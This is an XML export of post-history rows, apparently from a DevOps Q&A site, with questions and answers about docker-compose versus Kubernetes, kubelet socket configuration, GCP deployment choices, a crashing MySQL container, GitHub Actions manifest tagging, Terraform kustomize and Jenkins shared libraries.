  <row Id="40804" PostHistoryTypeId="5" PostId="13251" RevisionGUID="584c045a-ccf9-4d2d-812e-7f0cb0e59fc4" CreationDate="2021-01-28T16:30:05.027" UserId="3175" Comment="added 5 characters in body" Text="Docker compose is still a comparatively easy and light-weight tool to run multiple docker containers with service discovery.&#xD;&#xA;&#xD;&#xA;Kubernetes is a metaphorical elephant.  Great if you need to smash Roman lines and win the battle, but overkill for a minor skirmish, and definitely more trouble than it's worth if you're trying to fight a small battle in the mountains.&#xD;&#xA;&#xD;&#xA;If you have a fairly large app with multiple microservices, then Kubernetes is worth every penny.&#xD;&#xA;&#xD;&#xA;But when you're trying to run just a couple of containers, especially if it's only on a single host (i.e. your frontend + backend and maybe a local instance of RabbitMQ), docker-compose is a much simpler/faster way to orchestrate it.  Kubernetes is like using a cannon to kill a mosquito when a flyswatter will do.&#xD;&#xA;&#xD;&#xA;Example use cases where docker-compose works just fine:&#xD;&#xA;&#xD;&#xA;* Local development environments running on your machine.  Even if you run Kubernetes in production, there's likely a lot of orchestration around getting it to work which would make it too complex for a single machine.&#xD;&#xA;* Simple apps without a lot of components&#xD;&#xA;* Single tenant apps which run on a single host&#xD;&#xA;* Deploying docker-based apps on bare VMs or physical hosts" ContentLicense="CC BY-SA 4.0" />
  <row Id="40805" PostHistoryTypeId="52" PostId="13246" RevisionGUID="835c97d2-1d10-4cfb-9b9c-819ae526475d" CreationDate="2021-01-28T17:23:36.753" />
  <row Id="40806" PostHistoryTypeId="2" PostId="13252" RevisionGUID="8059dcce-d882-4e56-a0ea-8dffc23f8d0f" CreationDate="2021-01-28T22:38:21.140" UserId="25842" Text="Kubernetes version: latest&#xD;&#xA;Installation method: kubeadm&#xD;&#xA;Host OS: debian9&#xD;&#xA;container runtime: containerd&#xD;&#xA;&#xD;&#xA;Kubelet fails when starting and after inspecting the logs using journalctl -xeu kubelet i see that it tries to connect to the docker.sock socket instead of containerd.sock. I tried running kubeadm --config=config.yaml using this config file&#xD;&#xA;&#xD;&#xA;    apiVersion: kubeadm.k8s.io/v1beta1&#xD;&#xA;    kind: InitConfiguration&#xD;&#xA;    nodeRegistration:&#xD;&#xA;            criSocket: &quot;unix:///var/run/containerd/containerd.sock&quot;&#xD;&#xA;&#xD;&#xA;I have also tried running the kubeadm with the container runtime  85  argument, also doesn’t work.&#xD;&#xA;any other ideas are appreciated and thanks" ContentLicense="CC BY-SA 4.0" />
  <row Id="40807" PostHistoryTypeId="1" PostId="13252" RevisionGUID="8059dcce-d882-4e56-a0ea-8dffc23f8d0f" CreationDate="2021-01-28T22:38:21.140" UserId="25842" Text="kubelet connecting to docker.sock instead of containerd.sock" ContentLicense="CC BY-SA 4.0" />
  <row Id="40808" PostHistoryTypeId="3" PostId="13252" RevisionGUID="8059dcce-d882-4e56-a0ea-8dffc23f8d0f" CreationDate="2021-01-28T22:38:21.140" UserId="25842" Text="&lt;containers&gt;&lt;kubeadm&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40809" PostHistoryTypeId="50" PostId="12569" RevisionGUID="e5d5c501-6f33-4b68-89fd-b5a00af8ff5d" CreationDate="2021-01-29T00:06:45.677" UserId="-1" />
  <row Id="40810" PostHistoryTypeId="2" PostId="13253" RevisionGUID="a4e2f8ea-ea19-4ee5-b6b0-366c9b9cd940" CreationDate="2021-01-29T11:57:06.490" UserId="25848" Text="My objective is to break down and  deploy a currently monolithic Node.js web app to GCP. I have decomposed the app to the following modules:&#xD;&#xA; &#xD;&#xA;A:  MySQL server&#xD;&#xA;&#xD;&#xA;B: Node.js back-end service (that also employs a lot of python scripts)&#xD;&#xA;&#xD;&#xA;C: Node.js front-end service (with Angular)&#xD;&#xA;&#xD;&#xA;To begin with, I have separated the three modules with docker containers and used docker-compose to test their integration. Regarding GCP, I see the following options:&#xD;&#xA;&#xD;&#xA;A: Use Cloud SQL for the mysql service, I think this is the best option.&#xD;&#xA;&#xD;&#xA;However, I am not sure about backend and frontend, so this is my question:&#xD;&#xA;&#xD;&#xA;B: Google App, Google Compute or Kubernetes?&#xD;&#xA;&#xD;&#xA;C: Google App, Google Compute or Kubernetes?&#xD;&#xA;&#xD;&#xA;I read that Google App is more scalable. However it wont allow manual system set up, so I am not sure if I will face difficulty with e.g. installing python or other requirements.&#xD;&#xA;&#xD;&#xA;With Google Compute, I feel more confident that I 'll be able to manually troubleshoot the system if required. As for kubernetes, I wonder if this would be the best way to go since I have already prepared dockerfiles for the services. Finally, I am not sure if front-end and back-end require different options.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;All three options can interact with Cloud SQL mysql server, so I guess this will not be a problem:&#xD;&#xA;https://cloud.google.com/sql/docs/mysql/connect-compute-engine&#xD;&#xA;&#xD;&#xA;https://cloud.google.com/sql/docs/mysql/connect-app-engine-standard&#xD;&#xA;&#xD;&#xA;https://cloud.google.com/sql/docs/mysql/connect-kubernetes-engine&#xD;&#xA;&#xD;&#xA; &#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40811" PostHistoryTypeId="1" PostId="13253" RevisionGUID="a4e2f8ea-ea19-4ee5-b6b0-366c9b9cd940" CreationDate="2021-01-29T11:57:06.490" UserId="25848" Text="Options for deploying a Node.js app in GCP" ContentLicense="CC BY-SA 4.0" />
  <row Id="40812" PostHistoryTypeId="3" PostId="13253" RevisionGUID="a4e2f8ea-ea19-4ee5-b6b0-366c9b9cd940" CreationDate="2021-01-29T11:57:06.490" UserId="25848" Text="&lt;node.js&gt;&lt;gcp&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40813" PostHistoryTypeId="5" PostId="13253" RevisionGUID="a2529767-15a3-481e-9c02-5f11bbadbd28" CreationDate="2021-01-29T12:13:55.047" UserId="25848" Comment="added 18 characters in body" Text="My objective is to break down and  deploy a currently monolithic Node.js web app to GCP. I have decomposed the app to the following modules:&#xD;&#xA; &#xD;&#xA;A:  MySQL server&#xD;&#xA;&#xD;&#xA;B: Node.js back-end service (that also employs a lot of python scripts and some packages)&#xD;&#xA;&#xD;&#xA;C: Node.js front-end service (with Angular)&#xD;&#xA;&#xD;&#xA;To begin with, I have separated the three modules with docker containers and used docker-compose to test their integration. Regarding GCP, I see the following options:&#xD;&#xA;&#xD;&#xA;A: Use Cloud SQL for the mysql service, I think this is the best option.&#xD;&#xA;&#xD;&#xA;However, I am not sure about backend and frontend, so this is my question:&#xD;&#xA;&#xD;&#xA;B: Google App, Google Compute or Kubernetes?&#xD;&#xA;&#xD;&#xA;C: Google App, Google Compute or Kubernetes?&#xD;&#xA;&#xD;&#xA;I read that Google App is more scalable. However it wont allow manual system set up, so I am not sure if I will face difficulty with e.g. installing python or other requirements.&#xD;&#xA;&#xD;&#xA;With Google Compute, I feel more confident that I 'll be able to manually troubleshoot the system if required. As for kubernetes, I wonder if this would be the best way to go since I have already prepared dockerfiles for the services. Finally, I am not sure if front-end and back-end require different options.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;All three options can interact with Cloud SQL mysql server, so I guess this will not be a problem:&#xD;&#xA;https://cloud.google.com/sql/docs/mysql/connect-compute-engine&#xD;&#xA;&#xD;&#xA;https://cloud.google.com/sql/docs/mysql/connect-app-engine-standard&#xD;&#xA;&#xD;&#xA;https://cloud.google.com/sql/docs/mysql/connect-kubernetes-engine&#xD;&#xA;&#xD;&#xA; &#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40814" PostHistoryTypeId="5" PostId="13253" RevisionGUID="5b326bf6-2b36-4de0-b932-288cd717d989" CreationDate="2021-01-29T12:46:58.063" UserId="25848" Comment="deleted 1 character in body" Text="My objective is to break down and  deploy a currently monolithic Node.js web app to GCP. I have decomposed the app to the following modules:&#xD;&#xA; &#xD;&#xA;A:  MySQL server&#xD;&#xA;&#xD;&#xA;B: Node.js back-end service (that also employs a lot of python scripts and some packages)&#xD;&#xA;&#xD;&#xA;C: Node.js front-end service (with Angular)&#xD;&#xA;&#xD;&#xA;To begin with, I have separated the three modules with docker containers and used docker-compose to test their integration. Regarding GCP, I see the following options:&#xD;&#xA;&#xD;&#xA;A: Use Cloud SQL for the mysql service, I think this is the best option.&#xD;&#xA;&#xD;&#xA;However, I am not sure about backend and frontend, so this is my question:&#xD;&#xA;&#xD;&#xA;B: Google App, Google Compute or Kubernetes?&#xD;&#xA;&#xD;&#xA;C: Google App, Google Compute or Kubernetes?&#xD;&#xA;&#xD;&#xA;I read that Google App is more scalable. However it wont allow manual system setup, so I am not sure if I will face difficulty with e.g. installing python or other requirements.&#xD;&#xA;&#xD;&#xA;With Google Compute, I feel more confident that I 'll be able to manually troubleshoot the system if required. As for kubernetes, I wonder if this would be the best way to go since I have already prepared dockerfiles for the services. Finally, I am not sure if front-end and back-end require different options.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;All three options can interact with Cloud SQL mysql server, so I guess this will not be a problem:&#xD;&#xA;https://cloud.google.com/sql/docs/mysql/connect-compute-engine&#xD;&#xA;&#xD;&#xA;https://cloud.google.com/sql/docs/mysql/connect-app-engine-standard&#xD;&#xA;&#xD;&#xA;https://cloud.google.com/sql/docs/mysql/connect-kubernetes-engine&#xD;&#xA;&#xD;&#xA; &#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40815" PostHistoryTypeId="2" PostId="13254" RevisionGUID="b76852fc-3e08-47a8-a954-438172aa1c3b" CreationDate="2021-01-29T15:24:57.943" UserId="24678" Text="I want to credit Max N for making me think about another solution.&#xD;&#xA;&#xD;&#xA;In fact I already have the solution, right in front of me. We're a Gradle shop, and our `build.gradle` files contains our dependencies. So when I release a version, I know exactly what services+versions I need for this version. Since we have branches corresponding to our environments, I the services I need in each environment. So when I just need to&#xD;&#xA;&#xD;&#xA; - I need to Git tag every time we do a build, including the tools that did the build&#xD;&#xA; - When deploying, I then need to deploy above tag, which includes code + tools&#xD;&#xA;&#xD;&#xA;Thanks again Max N." ContentLicense="CC BY-SA 4.0" />
  <row Id="40818" PostHistoryTypeId="5" PostId="12569" RevisionGUID="ca607b2e-0ee2-40fe-aa44-bd1a998c80f0" CreationDate="2021-01-29T19:14:57.027" UserId="21739" Comment="Typo fixed" Text="I would like to know how to configure Consul or Eureka using Rancher. I stumbled in the part where I need to enter the key value." ContentLicense="CC BY-SA 4.0" />
  <row Id="40819" PostHistoryTypeId="24" PostId="12569" RevisionGUID="ca607b2e-0ee2-40fe-aa44-bd1a998c80f0" CreationDate="2021-01-29T19:14:57.027" Comment="Proposed by 21739 approved by 40 edit id of 1334" ContentLicense="CC BY-SA 4.0" />
  <row Id="40820" PostHistoryTypeId="2" PostId="13255" RevisionGUID="55102f5b-81f5-4df7-9383-c845eedda7a6" CreationDate="2021-01-29T22:23:53.787" UserId="25855" Text="I am running a confluence container containing an image for the application itself and one for the mySQL db. This was running smoothly until I run the latest Docker update. Since then, the mySQL image is constantly trying to restart, but the start fails.&#xD;&#xA;&#xD;&#xA;This is my docker-compose.yml:&#xD;&#xA;```&#xD;&#xA;version: '3'&#xD;&#xA;services:&#xD;&#xA;  confluence:&#xD;&#xA;    build: ./confl_mysql&#xD;&#xA;    restart: always&#xD;&#xA;    volumes:&#xD;&#xA;      - /Users/michimacmini/Confluence/data/confluence:/var/atlassian/application-data/confluence&#xD;&#xA;    ports:&#xD;&#xA;      - 8090:8090&#xD;&#xA;      - 8091:8091&#xD;&#xA;  confl-mysql:&#xD;&#xA;    image: mysql&#xD;&#xA;    restart: always&#xD;&#xA;    command: [mysqld, --character-set-server=utf8mb4, --collation-server=utf8mb4_bin, --transaction-isolation=READ-COMMITTED, --max_allowed_packet=512M, --innodb_log_file_size=2GB]&#xD;&#xA;    environment:&#xD;&#xA;      - MYSQL_RANDOM_ROOT_PASSWORD=yes&#xD;&#xA;      - MYSQL_DATABASE=confluence&#xD;&#xA;      - MYSQL_USER=confluence&#xD;&#xA;      - MYSQL_PASSWORD=mypw&#xD;&#xA;    volumes:&#xD;&#xA;      - /Users/michimacmini/Confluence/data/mysql:/var/lib/mysql&#xD;&#xA;```&#xD;&#xA;And this is what the log says:&#xD;&#xA;```&#xD;&#xA;Most likely, you have hit a bug, but this error can also be caused by malfunctioning hardware.&#xD;&#xA;Thread pointer: 0x0&#xD;&#xA;Attempting backtrace. You can use the following information to find out&#xD;&#xA;where mysqld died. If you see no messages after this, something went&#xD;&#xA;terribly wrong...&#xD;&#xA;stack_bottom = 0 thread_stack 0x46000&#xD;&#xA;/usr/sbin/mysqld(my_print_stacktrace(unsigned char const*, unsigned long)+0x2e) [0x5630e9ffe41e]&#xD;&#xA;/usr/sbin/mysqld(handle_fatal_signal+0x31b) [0x5630e940508b]&#xD;&#xA;/lib/x86_64-linux-gnu/libpthread.so.0(+0x12730) [0x7f8f50967730]&#xD;&#xA;/lib/x86_64-linux-gnu/libc.so.6(gsignal+0x10b) [0x7f8f500447bb]&#xD;&#xA;/lib/x86_64-linux-gnu/libc.so.6(abort+0x121) [0x7f8f5002f535]&#xD;&#xA;/usr/sbin/mysqld(+0x342ae53) [0x5630ea4ade53]&#xD;&#xA;/usr/sbin/mysqld(+0x34168e8) [0x5630ea4998e8]&#xD;&#xA;/usr/sbin/mysqld(srv_pre_dd_shutdown()+0x49d) [0x5630ea44b3ad]&#xD;&#xA;/usr/sbin/mysqld(+0x1ec460f) [0x5630e8f4760f]&#xD;&#xA;/usr/sbin/mysqld(plugin_foreach_with_mask(THD*, bool (**)(THD*, st_plugin_int*, void*), int, unsigned int, void*)+0x1cf) [0x5630e92cb50f]&#xD;&#xA;/usr/sbin/mysqld(plugin_foreach_with_mask(THD*, bool (*)(THD*, st_plugin_int*, void*), int, unsigned int, void*)+0x1d) [0x5630e92cb71d]&#xD;&#xA;/usr/sbin/mysqld(+0x1de01c1) [0x5630e8e631c1]&#xD;&#xA;/usr/sbin/mysqld(+0x1de4252) [0x5630e8e67252]&#xD;&#xA;/usr/sbin/mysqld(+0x1df027c) [0x5630e8e7327c]&#xD;&#xA;/usr/sbin/mysqld(mysqld_main(int, char**)+0x1e73) [0x5630e8e75d33]&#xD;&#xA;/lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xeb) [0x7f8f5003109b]&#xD;&#xA;/usr/sbin/mysqld(_start+0x2a) [0x5630e8e5a02a]&#xD;&#xA;The manual page at http://dev.mysql.com/doc/mysql/en/crashing.html contains&#xD;&#xA;information that should help you find out what is causing the crash.&#xD;&#xA;2021-01-05 09:43:39+00:00 [Note] [Entrypoint]: Entrypoint script for MySQL Server 8.0.21-1debian10 started.&#xD;&#xA;2021-01-05 09:43:39+00:00 [Note] [Entrypoint]: Switching to dedicated user 'mysql'&#xD;&#xA;2021-01-05 09:43:39+00:00 [Note] [Entrypoint]: Entrypoint script for MySQL Server 8.0.21-1debian10 started.&#xD;&#xA;2021-01-05T09:43:39.950273Z 0 [System] [MY-010116] [Server] /usr/sbin/mysqld (mysqld 8.0.21) starting as process 1&#xD;&#xA;2021-01-05T09:43:39.959740Z 0 [Warning] [MY-010159] [Server] Setting lower_case_table_names=2 because file system for /var/lib/mysql/ is case insensitive&#xD;&#xA;2021-01-05T09:43:39.980489Z 1 [System] [MY-013576] [InnoDB] InnoDB initialization has started.&#xD;&#xA;2021-01-05T09:43:42.367077Z 1 [System] [MY-013577] [InnoDB] InnoDB initialization has ended.&#xD;&#xA;2021-01-05T09:43:42.383162Z 1 [ERROR] [MY-011087] [Server] Different lower_case_table_names settings for server ('2') and data dictionary ('0').&#xD;&#xA;2021-01-05T09:43:42.383806Z 0 [ERROR] [MY-010020] [Server] Data Dictionary initialization failed.&#xD;&#xA;2021-01-05T09:43:42.384234Z 0 [ERROR] [MY-010119] [Server] Aborting&#xD;&#xA;2021-01-05T09:43:42.384313Z 0 [ERROR] [MY-013183] [InnoDB] Assertion failure: trx0sys.cc:628:UT_LIST_GET_LEN(trx_sys-&gt;rw_trx_list) == trx_sys-&gt;n_prepared_trx + active_recovered_trxs thread 140302677280768&#xD;&#xA;InnoDB: We intentionally generate a memory trap.&#xD;&#xA;InnoDB: Submit a detailed bug report to http://bugs.mysql.com.&#xD;&#xA;InnoDB: If you get repeated assertion failures or crashes, even&#xD;&#xA;InnoDB: immediately after the mysqld startup, there may be&#xD;&#xA;InnoDB: corruption in the InnoDB tablespace. Please refer to&#xD;&#xA;InnoDB: http://dev.mysql.com/doc/refman/8.0/en/forcing-innodb-recovery.html&#xD;&#xA;InnoDB: about forcing recovery.&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Anyone has an idea, what I could try?&#xD;&#xA;&#xD;&#xA;Thanks&#xD;&#xA;Michael" ContentLicense="CC BY-SA 4.0" />
  <row Id="40821" PostHistoryTypeId="1" PostId="13255" RevisionGUID="55102f5b-81f5-4df7-9383-c845eedda7a6" CreationDate="2021-01-29T22:23:53.787" UserId="25855" Text="Confluence mySQL image doesn't start anymore" ContentLicense="CC BY-SA 4.0" />
  <row Id="40822" PostHistoryTypeId="3" PostId="13255" RevisionGUID="55102f5b-81f5-4df7-9383-c845eedda7a6" CreationDate="2021-01-29T22:23:53.787" UserId="25855" Text="&lt;docker&gt;&lt;mysql&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40823" PostHistoryTypeId="2" PostId="13256" RevisionGUID="f5e823d2-5e14-4115-aa59-3ead99627290" CreationDate="2021-01-29T23:30:26.357" UserId="25856" Text="I have a mono repo with NodeJS app (*or better said, components of an app*).&#xD;&#xA;&#xD;&#xA;There are 3 apps in the repo, each has its own directory and Dockerfile:&#xD;&#xA;* **/core**&#xD;&#xA;* **/worker**&#xD;&#xA;* **/frontend**&#xD;&#xA;&#xD;&#xA;There’s also **/deployments** directory which contains all **Kustomize** manifests that I'll be applying via **ArgoCD**.&#xD;&#xA;&#xD;&#xA;The problem I’m facing is with this Github Actions workflow, in particular, the step at the end where I replace image tags in Kubernetes manifests in Kustomize dir and push changed files to another branch/repo.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;      - name: Setting Image Tags/Annotations&#xD;&#xA;        run: |&#xD;&#xA;          for yaml in `find deployment/kustomize/base -type f -name &quot;core-*.yaml&quot; -print `; do sed -i &quot;s/IMAGE_TAG/&quot;$COMMIT_SHA&quot;/g&quot; $yaml; done&#xD;&#xA;          for yaml in `find deployment/kustomize/base -type f -name &quot;core-*.yaml&quot; -print`; do sed -i &quot;s/DEPLOY_TIMESTAMP/&quot;$TIMESTAMP&quot;/g&quot; $yaml; done&#xD;&#xA;&#xD;&#xA;      - name: Committing to Staging Branch&#xD;&#xA;        run: |&#xD;&#xA;          export COMMIT_MESSAGE=$(git log --format=%B -n 1 | sed '2d')&#xD;&#xA;          git config --global user.name &quot;CI&quot;&#xD;&#xA;          git config --global user.email &quot;ci@github.com&quot;&#xD;&#xA;          git checkout -b staging&#xD;&#xA;          git add .&#xD;&#xA;          git commit -m &quot;$COMMIT_MESSAGE&quot;&#xD;&#xA;          git push -u -f origin dummy&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;When I replace image tags in the way shown above, in any of those Kustomize files and commit them to the **release** branch it’s all good **BUT** if I do it again in future builds, all manifest that I pushed before get overwritten by other empty, non replaced manifests.&#xD;&#xA;&#xD;&#xA;I’m not sure how to avoid this and preserve past changes in all manifests.&#xD;&#xA;Do you have any suggestions or advice?&#xD;&#xA;&#xD;&#xA;I’m sure there’s a simple enough solution and that I’m likely overthinking this." ContentLicense="CC BY-SA 4.0" />
  <row Id="40824" PostHistoryTypeId="1" PostId="13256" RevisionGUID="f5e823d2-5e14-4115-aa59-3ead99627290" CreationDate="2021-01-29T23:30:26.357" UserId="25856" Text="Monorepo manifests image tag replacement in Github Actions" ContentLicense="CC BY-SA 4.0" />
  <row Id="40825" PostHistoryTypeId="3" PostId="13256" RevisionGUID="f5e823d2-5e14-4115-aa59-3ead99627290" CreationDate="2021-01-29T23:30:26.357" UserId="25856" Text="&lt;continuous-integration&gt;&lt;git&gt;&lt;github&gt;&lt;cicd&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40827" PostHistoryTypeId="2" PostId="13257" RevisionGUID="83b316df-f2e5-446c-b319-e999041218a0" CreationDate="2021-01-30T09:16:05.480" UserId="25401" Text="I want to use EFS in my EKS cluster. I'm following this [eks workshop][1].&#xD;&#xA;&#xD;&#xA;I need to deploy `EFS CSI Driver` using kustomize:&#xD;&#xA;&#xD;&#xA;    kubectl apply -k &quot;github.com/kubernetes-sigs/aws-efs-csi-driver/deploy/kubernetes/overlays/stable/?ref=release-1.0&quot;&#xD;&#xA;&#xD;&#xA;What's the equivalent of the above command in terraform?&#xD;&#xA;&#xD;&#xA;Is it something like this?&#xD;&#xA;&#xD;&#xA;    terraform {&#xD;&#xA;      required_providers {&#xD;&#xA;        kustomization = {&#xD;&#xA;          source  = &quot;kbst/kustomize&quot;&#xD;&#xA;          version = &quot;v0.2.0-beta.3&quot;&#xD;&#xA;        }&#xD;&#xA;      }&#xD;&#xA;      required_version = &quot;&gt;= 0.12&quot;&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    provider &quot;kustomization&quot; {}&#xD;&#xA;    &#xD;&#xA;    data &quot;kustomization&quot; &quot;test&quot; {&#xD;&#xA;      provider = kustomization&#xD;&#xA;    &#xD;&#xA;      path = &quot;github.com/kubernetes-sigs/aws-efs-csi-driver/deploy/kubernetes/overlays/stable/?ref=release-1.0&quot;&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    resource &quot;kustomization_resource&quot; &quot;test&quot; {&#xD;&#xA;      provider = kustomization&#xD;&#xA;    &#xD;&#xA;      for_each = data.kustomization.test.ids&#xD;&#xA;    &#xD;&#xA;      manifest = data.kustomization.test.manifests[each.value]&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.eksworkshop.com/beginner/190_efs/" ContentLicense="CC BY-SA 4.0" />
  <row Id="40828" PostHistoryTypeId="1" PostId="13257" RevisionGUID="83b316df-f2e5-446c-b319-e999041218a0" CreationDate="2021-01-30T09:16:05.480" UserId="25401" Text="What's the equivalent of &quot;kubernetes apply -k&quot; in terraform?" ContentLicense="CC BY-SA 4.0" />
  <row Id="40829" PostHistoryTypeId="3" PostId="13257" RevisionGUID="83b316df-f2e5-446c-b319-e999041218a0" CreationDate="2021-01-30T09:16:05.480" UserId="25401" Text="&lt;kubernetes&gt;&lt;terraform&gt;&lt;eks&gt;&lt;amazon-efs&gt;&lt;kustomize&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40830" PostHistoryTypeId="5" PostId="13249" RevisionGUID="8765e215-878a-4e03-989f-4e226465c442" CreationDate="2021-01-30T11:41:04.263" UserId="25401" Comment="added 9 characters in body" Text="Yes It does more than just creating a service account. It does three things:&#xD;&#xA;&#xD;&#xA; 1. It Creates an IAM role.&#xD;&#xA; 2. It attaches the desired iam-policy (--attach-policy-arn&#xD;&#xA;    &lt;POLICY_ARN&gt;) to the created IAM role.&#xD;&#xA; 3. It creates a new kubernetes service account annotated with the arn of the created IAM role.&#xD;&#xA;&#xD;&#xA;Now It's easy to declare the above steps using kubernetes and aws providers in terraform." ContentLicense="CC BY-SA 4.0" />
  <row Id="40831" PostHistoryTypeId="5" PostId="13248" RevisionGUID="9fe4eff0-325e-4a2c-8f55-395cacc9ccff" CreationDate="2021-01-30T17:45:18.253" UserId="17811" Comment="docker image" Text="Have you thought about what happen with stale/old data??&#xD;&#xA;- Each new version creates a ton of new entries.&#xD;&#xA;- Management becomes a nightmare&#xD;&#xA;- the DB becomes a SPOF(single point of failure).&#xD;&#xA;&#xD;&#xA;___&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;# Better Solution: Service discovery&#xD;&#xA;&#xD;&#xA;The better solution would be to use a Service discovery System and annote each Service with their version and the environment as a Metadata tag. This keeps the System more manageble.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;# More Help&#xD;&#xA;&#xD;&#xA;IMHO, sticking Linux Code into a **Docker Image** and run multiple copies of it, is the best way of getting a immutable infrastructure up and running." ContentLicense="CC BY-SA 4.0" />
  <row Id="40832" PostHistoryTypeId="2" PostId="13258" RevisionGUID="a863e18e-6b4c-41a4-bf02-1f38ec22a121" CreationDate="2021-01-31T02:24:18.730" UserId="25862" Text="It's possible to use jobDSL from Pipeline. (Im using multibranch pipeline as it allows to configure pipelineTriggers)&#xD;&#xA;You can configure your seed job to be a pipeline like this:&#xD;&#xA;&#xD;&#xA;    def gitCredentialsId      = 'github-jenkins'&#xD;&#xA;    def jobsRepoName          = 'https://github.com/my-jobs-repo.git'&#xD;&#xA;    def sharedLibraryRepoName = 'https://github.com/shared-library-repo.git'&#xD;&#xA;    &#xD;&#xA;    properties([    &#xD;&#xA;       pipelineTriggers([githubPush()])&#xD;&#xA;    ])&#xD;&#xA;    &#xD;&#xA;    pipeline {&#xD;&#xA;        agent any&#xD;&#xA;        stages{&#xD;&#xA;            stage('Seed Job') {&#xD;&#xA;                agent any&#xD;&#xA;                steps {&#xD;&#xA;    &#xD;&#xA;                    checkout([&#xD;&#xA;                        $class: 'GitSCM', &#xD;&#xA;                        branches: [[name: '*/main']], &#xD;&#xA;                        doGenerateSubmoduleConfigurations: false,&#xD;&#xA;                        extensions: [[$class: 'RelativeTargetDirectory', relativeTargetDir: 'shared-library']], &#xD;&#xA;                        submoduleCfg: [],&#xD;&#xA;                        userRemoteConfigs: [[credentialsId:  gitCredentialsId, url: sharedLibraryRepoName ]]&#xD;&#xA;                        ])&#xD;&#xA;    &#xD;&#xA;                    git url: jobsRepoName, changelog: false, credentialsId: gitCredentialsId, poll: false, branch: 'main'&#xD;&#xA;                    jobDsl targets: 'jobs/**/*_job.groovy', additionalClasspath: 'shared-library/src'&#xD;&#xA;                }&#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;This way we can configure our seed job to checkout shared libraries repo into workspace subdirectory *shared-library* and specify **additionalClasspath** for jobDSL groovy scripts&#xD;&#xA;&#xD;&#xA;So in your groovy scripts you can simply use import without @Library annotation" ContentLicense="CC BY-SA 4.0" />
  <row Id="40834" PostHistoryTypeId="2" PostId="13259" RevisionGUID="f3e4ced3-136f-42be-9217-72104b3602ac" CreationDate="2021-01-31T16:05:29.877" UserId="22892" Text="There are two option &#xD;&#xA;1) Using jenkins global shared lib setting in gui see documation  https://www.jenkins.io/doc/book/pipeline/shared-libraries/&#xD;&#xA;&#xD;&#xA;2) Importing shared library inside jenkins file similart like this follow this blog&#xD;&#xA;https://tomd.xyz/jenkins-shared-library/&#xD;&#xA;&#xD;&#xA;`&#xD;&#xA;    library identifier: 'mylibraryname@master',&#xD;&#xA;        //'master' refers to a valid git-ref&#xD;&#xA;        //'mylibraryname' can be any name you like&#xD;&#xA;        retriever: modernSCM([&#xD;&#xA;          $class: 'GitSCMSource',&#xD;&#xA;          credentialsId: 'your-credentials-id',&#xD;&#xA;          remote: 'https://git.yourcompany.com/yourrepo/private-library.git'&#xD;&#xA;    ])&#xD;&#xA;    &#xD;&#xA;    pipeline {&#xD;&#xA;        agent any&#xD;&#xA;        stages {&#xD;&#xA;            stage('Demo') {&#xD;&#xA;                steps {&#xD;&#xA;                    echo 'Hello world'&#xD;&#xA;                    yourCustomStep 'your_arg'&#xD;&#xA;                }&#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;`&#xD;&#xA;P.S.&#xD;&#xA;When using &quot;@Loading _&quot; the this means importing all libraries  &#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40835" PostHistoryTypeId="5" PostId="13259" RevisionGUID="9daf1045-4e68-48f9-b662-2f16bc437cee" CreationDate="2021-01-31T16:10:43.373" UserId="22892" Comment="added 79 characters in body" Text="There are two option &#xD;&#xA;1) Using jenkins global shared lib setting in gui see documation  https://www.jenkins.io/doc/book/pipeline/shared-libraries/&#xD;&#xA;&#xD;&#xA;2) Importing shared library inside jenkins file similart like this follow this blog&#xD;&#xA;https://tomd.xyz/jenkins-shared-library/&#xD;&#xA;        &#xD;&#xA;       library identifier: 'mylibraryname@master',&#xD;&#xA;            //'master' refers to a valid git-ref&#xD;&#xA;            //'mylibraryname' can be any name you like&#xD;&#xA;            retriever: modernSCM([&#xD;&#xA;              $class: 'GitSCMSource',&#xD;&#xA;              credentialsId: 'your-credentials-id',&#xD;&#xA;              remote: 'https://git.yourcompany.com/yourrepo/private-library.git'&#xD;&#xA;        ])&#xD;&#xA;        &#xD;&#xA;        pipeline {&#xD;&#xA;            agent any&#xD;&#xA;            stages {&#xD;&#xA;                stage('Demo') {&#xD;&#xA;                    steps {&#xD;&#xA;                        echo 'Hello world'&#xD;&#xA;                        yourCustomStep 'your_arg'&#xD;&#xA;                    }&#xD;&#xA;                }&#xD;&#xA;            }&#xD;&#xA;&#xD;&#xA;P.S.&#xD;&#xA;When using &quot;@Library _&quot; the this means importing all libraries  &#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40836" PostHistoryTypeId="2" PostId="13260" RevisionGUID="c3e08387-4675-4efc-91f1-51f910b60967" CreationDate="2021-01-31T16:23:30.230" UserId="22892" Text="how do you connect you slaves via ssh or jnlp? &#xD;&#xA;In any case check if you are able to connect that slave and try telnet it, also in jenkins node section what does logs says no that specific slave? " ContentLicense="CC BY-SA 4.0" />
